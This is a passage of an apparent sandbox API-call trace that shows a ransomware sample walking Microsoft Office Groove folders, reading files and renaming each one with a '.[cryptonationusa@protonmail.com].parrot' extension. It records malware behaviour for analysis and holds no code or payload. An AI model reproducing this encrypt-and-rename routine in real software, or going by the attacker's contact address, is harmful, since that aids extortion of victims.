lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.478] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.478] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.478] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.478] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.478] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF", cAlternateFileName="")) returned 1 [0192.478] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.478] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.479] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.479] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ac, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ac, lpOverlapped=0x0) returned 1 [0192.479] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.480] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\BUTTON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\button.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.487] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.487] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.488] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.489] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x155, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x155, lpOverlapped=0x0) returned 1 [0192.489] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.489] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.501] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.501] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.502] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.502] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xde, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xde, lpOverlapped=0x0) returned 1 [0192.502] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.503] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.507] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.507] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab49610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfec55c20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfec55c20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.507] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfec09960, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BUTTON.GIF.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BUTTON~1.PAR")) returned 1 [0192.508] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.508] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.509] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.510] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xfd0, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xfd0, lpOverlapped=0x0) returned 1 [0192.510] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.515] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.515] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.517] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xadd, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0xadd, lpOverlapped=0x0) returned 1 [0192.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.522] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.522] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.522] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.522] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.522] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.522] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0192.522] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.523] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.524] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.524] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe9, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xe9, lpOverlapped=0x0) returned 1 [0192.524] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.524] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.529] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.530] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.531] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.532] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcbd, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0xcbd, lpOverlapped=0x0) returned 1 [0192.532] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\HEADER.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\header.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.536] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.536] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.538] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.538] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1ce, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x1ce, lpOverlapped=0x0) returned 1 [0192.538] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.538] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_OFF.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_off.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.542] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.542] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.543] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.543] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x108, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x108, lpOverlapped=0x0) returned 1 [0192.544] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\TAB_ON.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2\\tab_on.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.555] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\STS2\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.555] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfecc8040, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xfecc8040, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.555] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfec7bd80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x208, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BACKGR~1.PAR")) returned 1 [0192.555] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.555] ReadFile (in: hFile=0x288, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0192.557] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.557] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x107e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e314*=0x107e, lpOverlapped=0x0) returned 1 [0192.558] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.558] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts2.css.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts2.css.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.563] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0192.564] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0192.564] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac7a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d43ce90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0192.564] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0192.564] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0192.564] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d43ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x32f, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.gif", cAlternateFileName="BACKGR~1.GIF")) returned 1 [0192.564] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.564] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.566] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.566] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32f, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x32f, lpOverlapped=0x0) returned 1 [0192.566] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.567] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl\\background.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl\\background.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0192.572] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0192.572] ReadFile (in: hFile=0x1b4, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0192.574] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.574] ReadFile (in: hFile=0x1b4, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6993, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e024*=0x6993, lpOverlapped=0x0) returned 1 [0192.575] 